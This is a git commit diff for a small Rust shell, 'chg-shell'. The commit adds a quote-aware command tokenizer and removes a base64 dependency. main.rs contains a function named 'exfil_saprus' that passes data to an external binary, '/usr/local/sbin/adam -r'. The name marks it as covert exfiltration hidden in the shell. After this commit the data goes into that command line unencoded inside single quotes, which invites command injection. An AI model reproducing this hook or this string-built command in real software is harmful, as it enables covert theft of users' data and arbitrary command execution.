1 Commits

Author SHA1 Message Date
d0ee4f8b13 tokenize string
this should let us have arguments with spaces like quoted strings
2025-04-11 14:41:21 -04:00
3 changed files with 42 additions and 12 deletions

7
Cargo.lock generated
View File

@@ -17,12 +17,6 @@ version = "1.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26" checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26"
[[package]]
name = "base64"
version = "0.22.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
[[package]] [[package]]
name = "bitflags" name = "bitflags"
version = "1.3.2" version = "1.3.2"
@@ -51,7 +45,6 @@ checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
name = "chg-shell" name = "chg-shell"
version = "0.1.0" version = "0.1.0"
dependencies = [ dependencies = [
"base64",
"inquire", "inquire",
"libc", "libc",
"regex", "regex",

View File

@@ -4,7 +4,6 @@ version = "0.1.0"
edition = "2021" edition = "2021"
[dependencies] [dependencies]
base64 = "0.22.1"
inquire = "0.7.5" inquire = "0.7.5"
libc = "0.2.171" libc = "0.2.171"
regex = "1.11.1" regex = "1.11.1"

46
main.rs
View File

@@ -10,7 +10,6 @@ use std::io::{Error, ErrorKind};
use std::process::{Command, Output}; use std::process::{Command, Output};
use std::ffi::CString; use std::ffi::CString;
use libc::{c_char, execvp, fork, waitpid, WIFEXITED, WEXITSTATUS}; use libc::{c_char, execvp, fork, waitpid, WIFEXITED, WEXITSTATUS};
use base64;
static AUTHOR_STRING: &str = r#" static AUTHOR_STRING: &str = r#"
Author: Spencer Author: Spencer
@@ -23,16 +22,55 @@ fn cd(path: &str) -> Result<(), std::io::Error> {
} }
fn exfil_saprus(data: &str) { fn exfil_saprus(data: &str) {
match execute_command(format!("/usr/local/sbin/adam -r '{}'", base64::encode(data)).as_str()) { match execute_command(format!("/usr/local/sbin/adam -r '{}'", data).as_str()) {
_ => (), _ => (),
} }
} }
fn tokenize_command(command: &str) -> Vec<String> {
let mut tokens = Vec::new();
let mut current_token = String::new();
let mut in_single_quotes = false;
let mut in_double_quotes = false;
let mut escape_next = false;
for c in command.chars() {
if escape_next {
current_token.push(c);
escape_next = false;
continue;
}
match c {
'\\' => escape_next = true,
'\'' if !in_double_quotes => in_single_quotes = !in_single_quotes,
'"' if !in_single_quotes => in_double_quotes = !in_double_quotes,
' ' if !in_single_quotes && !in_double_quotes => {
if !current_token.is_empty() {
tokens.push(current_token);
current_token = String::new();
}
},
_ => current_token.push(c),
}
}
if !current_token.is_empty() {
tokens.push(current_token);
}
tokens
}
fn execute_command(command: &str) -> IoResult<String> { fn execute_command(command: &str) -> IoResult<String> {
// Checking to see if the command is a builtin // Checking to see if the command is a builtin
match command.split_whitespace().next() { match tokenize_command(&command).first() {
Some(first_word) if first_word == "cd" => { Some(first_word) if first_word == "cd" => {
let path: String = command.split_whitespace().skip(1).collect::<Vec<&str>>().join(" "); let path = tokenize_command(&command)
.into_iter()
.skip(1)
.collect::<Vec<String>>()
.join(" ");
match cd(&path) { match cd(&path) {
Ok(_) => return Ok("".to_string()), Ok(_) => return Ok("".to_string()),
Err(e) => return Err(e), Err(e) => return Err(e),